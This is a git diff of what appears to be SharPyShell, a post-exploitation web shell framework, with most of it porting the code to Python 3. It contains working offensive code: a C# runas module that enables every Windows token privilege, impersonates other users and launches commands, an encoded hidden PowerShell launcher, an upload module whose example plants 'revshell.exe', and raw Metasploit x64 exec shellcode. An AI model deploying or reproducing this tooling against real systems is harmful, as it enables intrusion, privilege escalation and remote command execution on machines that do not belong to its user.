private static extern bool AdjustTokenPrivileges(IntPtr tokenhandle, bool disableprivs, [MarshalAs(UnmanagedType.Struct)]ref TOKEN_PRIVILEGES Newstate, int bufferlength, int PreivousState, int Returnlength);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true)]
|
||||
private static extern int LookupPrivilegeValue(string lpsystemname, string lpname, [MarshalAs(UnmanagedType.Struct)] ref LUID lpLuid);
|
||||
|
||||
private sealed class SafeTokenHandle : SafeHandleZeroOrMinusOneIsInvalid
|
||||
{
|
||||
private SafeTokenHandle()
|
||||
: base(true)
|
||||
@@ -73,75 +167,72 @@ class Runas(Module):
|
||||
return CloseHandle(handle);
|
||||
}
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct STARTUPINFO
|
||||
{
|
||||
public int cb;
|
||||
public String lpReserved;
|
||||
public String lpDesktop;
|
||||
public String lpTitle;
|
||||
public uint dwX;
|
||||
public uint dwY;
|
||||
public uint dwXSize;
|
||||
public uint dwYSize;
|
||||
public uint dwXCountChars;
|
||||
public uint dwYCountChars;
|
||||
public uint dwFillAttribute;
|
||||
public uint dwFlags;
|
||||
public short wShowWindow;
|
||||
public short cbReserved2;
|
||||
public IntPtr lpReserved2;
|
||||
public IntPtr hStdInput;
|
||||
public IntPtr hStdOutput;
|
||||
public IntPtr hStdError;
|
||||
|
||||
private string EnablePrivilege(string privilege, IntPtr token){
|
||||
string output = "";
|
||||
LUID serLuid = new LUID();
|
||||
LUID sebLuid = new LUID();
|
||||
TOKEN_PRIVILEGES tokenp = new TOKEN_PRIVILEGES();
|
||||
tokenp.PrivilegeCount = 1;
|
||||
LookupPrivilegeValue(null, privilege, ref sebLuid);
|
||||
tokenp.Luid = sebLuid;
|
||||
tokenp.Attributes = SE_PRIVILEGE_ENABLED;
|
||||
if(!AdjustTokenPrivileges(token, false, ref tokenp, 0, 0, 0)){
|
||||
output += error_string + "\nAdjustTokenPrivileges on privilege " + privilege + " failed with error code: " + Marshal.GetLastWin32Error();
|
||||
}
|
||||
output += "\nAdjustTokenPrivileges on privilege " + privilege + " succeeded";
|
||||
return output;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct PROCESS_INFORMATION
|
||||
private string EnableAllPrivileges(IntPtr token)
|
||||
{
|
||||
public IntPtr hProcess;
|
||||
public IntPtr hThread;
|
||||
public uint dwProcessId;
|
||||
public uint dwThreadId;
|
||||
string output="";
|
||||
output += EnablePrivilege("SeAssignPrimaryTokenPrivilege", token);
|
||||
output += EnablePrivilege("SeAuditPrivilege", token);
|
||||
output += EnablePrivilege("SeBackupPrivilege", token);
|
||||
output += EnablePrivilege("SeChangeNotifyPrivilege", token);
|
||||
output += EnablePrivilege("SeCreateGlobalPrivilege", token);
|
||||
output += EnablePrivilege("SeCreatePagefilePrivilege", token);
|
||||
output += EnablePrivilege("SeCreatePermanentPrivilege", token);
|
||||
output += EnablePrivilege("SeCreateSymbolicLinkPrivilege", token);
|
||||
output += EnablePrivilege("SeCreateTokenPrivilege", token);
|
||||
output += EnablePrivilege("SeDebugPrivilege", token);
|
||||
output += EnablePrivilege("SeDelegateSessionUserImpersonatePrivilege", token);
|
||||
output += EnablePrivilege("SeEnableDelegationPrivilege", token);
|
||||
output += EnablePrivilege("SeImpersonatePrivilege", token);
|
||||
output += EnablePrivilege("SeIncreaseBasePriorityPrivilege", token);
|
||||
output += EnablePrivilege("SeIncreaseQuotaPrivilege", token);
|
||||
output += EnablePrivilege("SeIncreaseWorkingSetPrivilege", token);
|
||||
output += EnablePrivilege("SeLoadDriverPrivilege", token);
|
||||
output += EnablePrivilege("SeLockMemoryPrivilege", token);
|
||||
output += EnablePrivilege("SeMachineAccountPrivilege", token);
|
||||
output += EnablePrivilege("SeManageVolumePrivilege", token);
|
||||
output += EnablePrivilege("SeProfileSingleProcessPrivilege", token);
|
||||
output += EnablePrivilege("SeRelabelPrivilege", token);
|
||||
output += EnablePrivilege("SeRemoteShutdownPrivilege", token);
|
||||
output += EnablePrivilege("SeRestorePrivilege", token);
|
||||
output += EnablePrivilege("SeSecurityPrivilege", token);
|
||||
output += EnablePrivilege("SeShutdownPrivilege", token);
|
||||
output += EnablePrivilege("SeSyncAgentPrivilege", token);
|
||||
output += EnablePrivilege("SeSystemEnvironmentPrivilege", token);
|
||||
output += EnablePrivilege("SeSystemProfilePrivilege", token);
|
||||
output += EnablePrivilege("SeSystemtimePrivilege", token);
|
||||
output += EnablePrivilege("SeTakeOwnershipPrivilege", token);
|
||||
output += EnablePrivilege("SeTcbPrivilege", token);
|
||||
output += EnablePrivilege("SeTimeZonePrivilege", token);
|
||||
output += EnablePrivilege("SeTrustedCredManAccessPrivilege", token);
|
||||
output += EnablePrivilege("SeUndockPrivilege", token);
|
||||
output += EnablePrivilege("SeUnsolicitedInputPrivilege", token);
|
||||
return output;
|
||||
}
|
||||
|
||||
[StructLayout(LayoutKind.Sequential)] public struct SECURITY_ATTRIBUTES
|
||||
{
|
||||
public int Length;
|
||||
public IntPtr lpSecurityDescriptor;
|
||||
public bool bInheritHandle;
|
||||
}
|
||||
|
||||
[DllImport("kernel32.dll", EntryPoint="CloseHandle", SetLastError=true, CharSet=CharSet.Auto, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CloseHandle(IntPtr handle);
|
||||
|
||||
[DllImport("advapi32.dll", SetLastError = true, CharSet = CharSet.Unicode)]
|
||||
public static extern bool LogonUser(String lpszUsername, String lpszDomain, String lpszPassword, int dwLogonType, int dwLogonProvider, out SafeTokenHandle phToken);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="CreateProcessAsUser", SetLastError=true, CharSet=CharSet.Ansi, CallingConvention=CallingConvention.StdCall)]
|
||||
public static extern bool CreateProcessAsUser(IntPtr hToken, String lpApplicationName, String lpCommandLine, ref SECURITY_ATTRIBUTES lpProcessAttributes, ref SECURITY_ATTRIBUTES lpThreadAttributes, bool bInheritHandle, int dwCreationFlags, IntPtr lpEnvironment, String lpCurrentDirectory, ref STARTUPINFO lpStartupInfo, out PROCESS_INFORMATION lpProcessInformation);
|
||||
|
||||
[DllImport("advapi32.dll", EntryPoint="DuplicateTokenEx")]
|
||||
public static extern bool DuplicateTokenEx(IntPtr ExistingTokenHandle, uint dwDesiredAccess, ref SECURITY_ATTRIBUTES lpThreadAttributes, int TokenType, int ImpersonationLevel, ref IntPtr DuplicateTokenHandle);
|
||||
|
||||
[DllImport("kernel32.dll", SetLastError=true)]
|
||||
public static extern uint WaitForSingleObject(IntPtr hHandle, uint dwMilliseconds);
|
||||
|
||||
const uint WAIT_ABANDONED = 0x00000080;
|
||||
const uint WAIT_OBJECT_0 = 0x00000000;
|
||||
const uint WAIT_TIMEOUT = 0x00000102;
|
||||
|
||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
||||
public string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
|
||||
[PermissionSetAttribute(SecurityAction.Demand, Name = "FullTrust")]
|
||||
private string RunAs(string userName, string password, string domainName, string cmd, string stdout_file, string stderr_file, string working_directory, int logon_type, uint process_ms_timeout)
|
||||
{
|
||||
SafeTokenHandle safeTokenHandle;
|
||||
string output = "";
|
||||
string error_string = "{{{SharPyShellError}}}";
|
||||
try
|
||||
{
|
||||
const int LOGON32_PROVIDER_DEFAULT = 0;
|
||||
const int LOGON32_PROVIDER_WINNT35 = 1;
|
||||
const int LOGON32_PROVIDER_WINNT40 = 2;
|
||||
const int LOGON32_PROVIDER_WINNT50 = 3;
|
||||
bool returnValue = LogonUser(userName, domainName, password, logon_type, LOGON32_PROVIDER_DEFAULT, out safeTokenHandle);
|
||||
if (false == returnValue)
|
||||
{
|
||||
@@ -150,67 +241,66 @@ class Runas(Module):
|
||||
}
|
||||
using (safeTokenHandle)
|
||||
{
|
||||
using (WindowsIdentity newId = new WindowsIdentity(safeTokenHandle.DangerousGetHandle()))
|
||||
IntPtr runasToken = safeTokenHandle.DangerousGetHandle();
|
||||
EnableAllPrivileges(runasToken);
|
||||
|
||||
string commandLinePath = "";
|
||||
if(process_ms_timeout>0){
|
||||
File.Create(stdout_file).Dispose();
|
||||
File.Create(stderr_file).Dispose();
|
||||
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
|
||||
}
|
||||
else{
|
||||
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
|
||||
}
|
||||
using (WindowsImpersonationContext impersonatedUser = WindowsIdentity.Impersonate(runasToken))
|
||||
{
|
||||
using (WindowsImpersonationContext impersonatedUser = newId.Impersonate())
|
||||
{
|
||||
IntPtr Token = new IntPtr(0);
|
||||
IntPtr DupedToken = new IntPtr(0);
|
||||
bool ret;
|
||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
||||
sa.bInheritHandle = false;
|
||||
sa.Length = Marshal.SizeOf(sa);
|
||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
||||
Token = WindowsIdentity.GetCurrent().Token;
|
||||
const uint GENERIC_ALL = 0x10000000;
|
||||
const int SecurityImpersonation = 2;
|
||||
const int TokenType = 1;
|
||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
||||
if (ret == false){
|
||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "";
|
||||
string commandLinePath = "";
|
||||
IntPtr Token = new IntPtr(0);
|
||||
IntPtr DupedToken = new IntPtr(0);
|
||||
bool ret;
|
||||
SECURITY_ATTRIBUTES sa = new SECURITY_ATTRIBUTES();
|
||||
sa.bInheritHandle = false;
|
||||
sa.Length = Marshal.SizeOf(sa);
|
||||
sa.lpSecurityDescriptor = (IntPtr)0;
|
||||
Token = WindowsIdentity.GetCurrent().Token;
|
||||
|
||||
ret = DuplicateTokenEx(Token, GENERIC_ALL, ref sa, SecurityImpersonation, TokenType, ref DupedToken);
|
||||
if (ret == false){
|
||||
output += error_string + "\nDuplicateTokenEx failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
STARTUPINFO si = new STARTUPINFO();
|
||||
si.cb = Marshal.SizeOf(si);
|
||||
si.lpDesktop = "";
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
|
||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
||||
if (ret == false){
|
||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
else{
|
||||
if(process_ms_timeout>0){
|
||||
File.Create(stdout_file).Dispose();
|
||||
File.Create(stderr_file).Dispose();
|
||||
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\" >> " + stdout_file + " 2>>" + stderr_file;
|
||||
}
|
||||
else{
|
||||
commandLinePath = Environment.GetEnvironmentVariable("ComSpec") + " /c \"" + cmd + "\"";
|
||||
}
|
||||
PROCESS_INFORMATION pi = new PROCESS_INFORMATION();
|
||||
ret = CreateProcessAsUser(DupedToken,null,commandLinePath, ref sa, ref sa, false, 0, (IntPtr)0, working_directory, ref si, out pi);
|
||||
if (ret == false){
|
||||
output += error_string + "\nCreateProcessAsUser failed with " + Marshal.GetLastWin32Error();
|
||||
return output;
|
||||
}
|
||||
else{
|
||||
if(process_ms_timeout>0){
|
||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
||||
if(wait_for == WAIT_OBJECT_0){
|
||||
output += File.ReadAllText(stdout_file);
|
||||
string errors = File.ReadAllText(stderr_file);
|
||||
if (!String.IsNullOrEmpty(errors))
|
||||
output += error_string + "\n" + errors;
|
||||
}
|
||||
else{
|
||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
||||
}
|
||||
File.Delete(stdout_file);
|
||||
File.Delete(stderr_file);
|
||||
uint wait_for = WaitForSingleObject(pi.hProcess, process_ms_timeout);
|
||||
if(wait_for == WAIT_OBJECT_0){
|
||||
output += File.ReadAllText(stdout_file);
|
||||
string errors = File.ReadAllText(stderr_file);
|
||||
if (!String.IsNullOrEmpty(errors))
|
||||
output += error_string + "\n" + errors;
|
||||
}
|
||||
else{
|
||||
output += "\nAsync process with pid " + pi.dwProcessId + " created";
|
||||
output += error_string + "\nProcess with pid " + pi.dwProcessId + " couldn't end correctly. Error Code: " + Marshal.GetLastWin32Error();
|
||||
}
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
File.Delete(stdout_file);
|
||||
File.Delete(stderr_file);
|
||||
}
|
||||
CloseHandle(DupedToken);
|
||||
else{
|
||||
output += "\nAsync process with pid " + pi.dwProcessId + " created";
|
||||
}
|
||||
CloseHandle(pi.hProcess);
|
||||
CloseHandle(pi.hThread);
|
||||
}
|
||||
CloseHandle(DupedToken);
|
||||
}
|
||||
}
|
||||
}
|
||||
@@ -245,6 +335,8 @@ class Runas(Module):
|
||||
domain = args_parser.get(3, self.__default_domain)
|
||||
process_ms_timeout = args_parser.get(4, self.__default_process_ms_timeout)
|
||||
logon_type = args_parser.get(5, self.__default_logon_type)
|
||||
if process_ms_timeout == '' or logon_type == '':
|
||||
raise self._exception_class('#runas: process_ms_timeout and logon_type field cannot be empty.\n')
|
||||
return cmd, username, password, domain,process_ms_timeout, logon_type
|
||||
|
||||
def _create_request(self, args):
|
||||
|
||||
+2
-2
@@ -53,7 +53,7 @@ class Runas_ps(Runas):
|
||||
def __gen_powershell_launcher(self, ps_code):
|
||||
powershell_launcher='powershell -nop -noni -enc '
|
||||
ps_code = '$ProgressPreference = "SilentlyContinue";' + ps_code
|
||||
powershell_launcher += b64encode(ps_code.encode('UTF-16LE'))
|
||||
powershell_launcher += str(b64encode(ps_code.encode('UTF-16LE')),'UTF-8')
|
||||
return powershell_launcher
|
||||
|
||||
def _create_request(self, args):
|
||||
@@ -65,4 +65,4 @@ class Runas_ps(Runas):
|
||||
stdout_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
stderr_file = self._module_settings['env_directory'] + '\\' + random_generator()
|
||||
return self._runtime_code % (username, password, domain, cmd, stdout_file, stderr_file,
|
||||
working_path, logon_type, process_ms_timeout)
|
||||
working_path, logon_type, process_ms_timeout)
|
||||
|
||||
+5
-5
@@ -35,7 +35,7 @@ class Upload(Module):
|
||||
#upload /tmp/revshell.exe C:\Users\Public\revshell.exe 1024
|
||||
"""
|
||||
|
||||
_runtime_code = ur"""
|
||||
_runtime_code = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
byte[] Upload(string path, byte[] file_bytes){
|
||||
@@ -56,7 +56,7 @@ class Upload(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
__runtime_code_split_file = ur"""
|
||||
__runtime_code_split_file = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
byte[] Upload(string path, byte[] file_bytes){
|
||||
@@ -80,7 +80,7 @@ class Upload(Module):
|
||||
}
|
||||
"""
|
||||
|
||||
__runtime_code_init_file = ur"""
|
||||
__runtime_code_init_file = r"""
|
||||
using System;using System.IO;using System.Diagnostics;using System.Text;
|
||||
public class SharPyShell{
|
||||
string InitFile(string path){
|
||||
@@ -164,8 +164,8 @@ class Upload(Module):
|
||||
decrypted_response = self._decrypt_response(encrypted_response)
|
||||
parsed_response = self._parse_response(decrypted_response)
|
||||
if len(requests) > 1:
|
||||
print 'Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
|
||||
' bytes written correctly to ' + upload_output_path
|
||||
print ('Chunk ' + str(i + 1) + ' --> ' + str(chunk_size*i) + ' - ' + str(chunk_size*i+chunk_size) +\
|
||||
' bytes written correctly to ' + upload_output_path)
|
||||
except ModuleException as module_exc:
|
||||
parsed_response = str(module_exc)
|
||||
except Exception:
|
||||
|
||||
+5
-4
@@ -1,5 +1,6 @@
|
||||
urllib3
|
||||
urllib3[socks]
|
||||
prettytable
|
||||
Crypto
|
||||
pyopenssl
|
||||
PySocks
|
||||
pycryptodome
|
||||
pyopenssl
|
||||
pefile
|
||||
prettytable
|
||||
+2
-2
@@ -3,5 +3,5 @@ class Singleton(object):
|
||||
|
||||
def __new__(cls, *args, **kwargs):
|
||||
if cls not in cls._instances:
|
||||
cls._instances[cls] = super(Singleton, cls).__new__(cls, *args, **kwargs)
|
||||
return cls._instances[cls]
|
||||
cls._instances[cls] = super(Singleton, cls).__new__(cls)
|
||||
return cls._instances[cls]
|
||||
|
||||
@@ -0,0 +1,14 @@
|
||||
import io
|
||||
import gzip
|
||||
import base64
|
||||
|
||||
|
||||
def get_compressed_base64_from_file(path):
|
||||
|
||||
with open(path, 'rb') as f:
|
||||
read_data = f.read()
|
||||
return base64.b64encode(gzip.compress(read_data)).decode()
|
||||
|
||||
|
||||
def get_compressed_base64_from_binary(bin_bytearray_input):
|
||||
return base64.b64encode(gzip.compress(bin_bytearray_input)).decode()
|
||||
+4
-4
@@ -16,19 +16,19 @@ def tablify(data, table_border=True):
|
||||
table = prettytable.PrettyTable()
|
||||
|
||||
# List outputs.
|
||||
if isinstance(data, (types.ListType, types.TupleType)):
|
||||
if isinstance(data, (list, tuple)):
|
||||
|
||||
if len(data) > 0:
|
||||
|
||||
columns_num = 1
|
||||
if isinstance(data[0], (types.ListType, types.TupleType)):
|
||||
if isinstance(data[0], (list, tuple)):
|
||||
columns_num = len(data[0])
|
||||
|
||||
for row in data:
|
||||
if not row:
|
||||
continue
|
||||
|
||||
if isinstance(row, (types.ListType, types.TupleType)):
|
||||
if isinstance(row, (list, tuple)):
|
||||
table.add_row(row)
|
||||
else:
|
||||
table.add_row([row])
|
||||
@@ -38,7 +38,7 @@ def tablify(data, table_border=True):
|
||||
|
||||
# Populate the rows
|
||||
randomitem = next(data.itervalues())
|
||||
if isinstance(randomitem, (types.ListType, types.TupleType)):
|
||||
if isinstance(randomitem, (list, tuple)):
|
||||
for field in data:
|
||||
table.add_row([field] + data[field])
|
||||
else:
|
||||
|
||||
@@ -0,0 +1,33 @@
|
||||
'''
|
||||
https://github.com/rapid7/metasploit-framework/blob/master/modules/payloads/singles/windows/x64/exec.rb
|
||||
|
||||
'Name' => 'Windows x64 Execute Command',
|
||||
'Description' => 'Execute an arbitrary command (Windows x64)',
|
||||
'Author' => [ 'sf' ],
|
||||
'License' => MSF_LICENSE,
|
||||
'Platform' => 'win',
|
||||
'Arch' => ARCH_X64,
|
||||
'Payload' =>
|
||||
'''
|
||||
winexec_x64 = b""
|
||||
winexec_x64 += b"\xfc\x48\x83\xe4\xf0\xe8\xc0\x00\x00\x00\x41\x51\x41"
|
||||
winexec_x64 += b"\x50\x52\x51\x56\x48\x31\xd2\x65\x48\x8b\x52\x60\x48"
|
||||
winexec_x64 += b"\x8b\x52\x18\x48\x8b\x52\x20\x48\x8b\x72\x50\x48\x0f"
|
||||
winexec_x64 += b"\xb7\x4a\x4a\x4d\x31\xc9\x48\x31\xc0\xac\x3c\x61\x7c"
|
||||
winexec_x64 += b"\x02\x2c\x20\x41\xc1\xc9\x0d\x41\x01\xc1\xe2\xed\x52"
|
||||
winexec_x64 += b"\x41\x51\x48\x8b\x52\x20\x8b\x42\x3c\x48\x01\xd0\x8b"
|
||||
winexec_x64 += b"\x80\x88\x00\x00\x00\x48\x85\xc0\x74\x67\x48\x01\xd0"
|
||||
winexec_x64 += b"\x50\x8b\x48\x18\x44\x8b\x40\x20\x49\x01\xd0\xe3\x56"
|
||||
winexec_x64 += b"\x48\xff\xc9\x41\x8b\x34\x88\x48\x01\xd6\x4d\x31\xc9"
|
||||
winexec_x64 += b"\x48\x31\xc0\xac\x41\xc1\xc9\x0d\x41\x01\xc1\x38\xe0"
|
||||
winexec_x64 += b"\x75\xf1\x4c\x03\x4c\x24\x08\x45\x39\xd1\x75\xd8\x58"
|
||||
winexec_x64 += b"\x44\x8b\x40\x24\x49\x01\xd0\x66\x41\x8b\x0c\x48\x44"
|
||||
winexec_x64 += b"\x8b\x40\x1c\x49\x01\xd0\x41\x8b\x04\x88\x48\x01\xd0"
|
||||
winexec_x64 += b"\x41\x58\x41\x58\x5e\x59\x5a\x41\x58\x41\x59\x41\x5a"
|
||||
winexec_x64 += b"\x48\x83\xec\x20\x41\x52\xff\xe0\x58\x41\x59\x5a\x48"
|
||||
winexec_x64 += b"\x8b\x12\xe9\x57\xff\xff\xff\x5d\x48\xba\x01\x00\x00"
|
||||
winexec_x64 += b"\x00\x00\x00\x00\x00\x48\x8d\x8d\x01\x01\x00\x00\x41"
|
||||
winexec_x64 += b"\xba\x31\x8b\x6f\x87\xff\xd5\xbb\xf0\xb5\xa2\x56\x41"
|
||||
winexec_x64 += b"\xba\xa6\x95\xbd\x9d\xff\xd5\x48\x83\xc4\x28\x3c\x06"
|
||||
winexec_x64 += b"\x7c\x0a\x80\xfb\xe0\x75\x05\xbb\x47\x13\x72\x6f\x6a"
|
||||
winexec_x64 += b"\x00\x59\x41\x89\xda\xff\xd5"
|
||||
Reference in New Issue
Block a user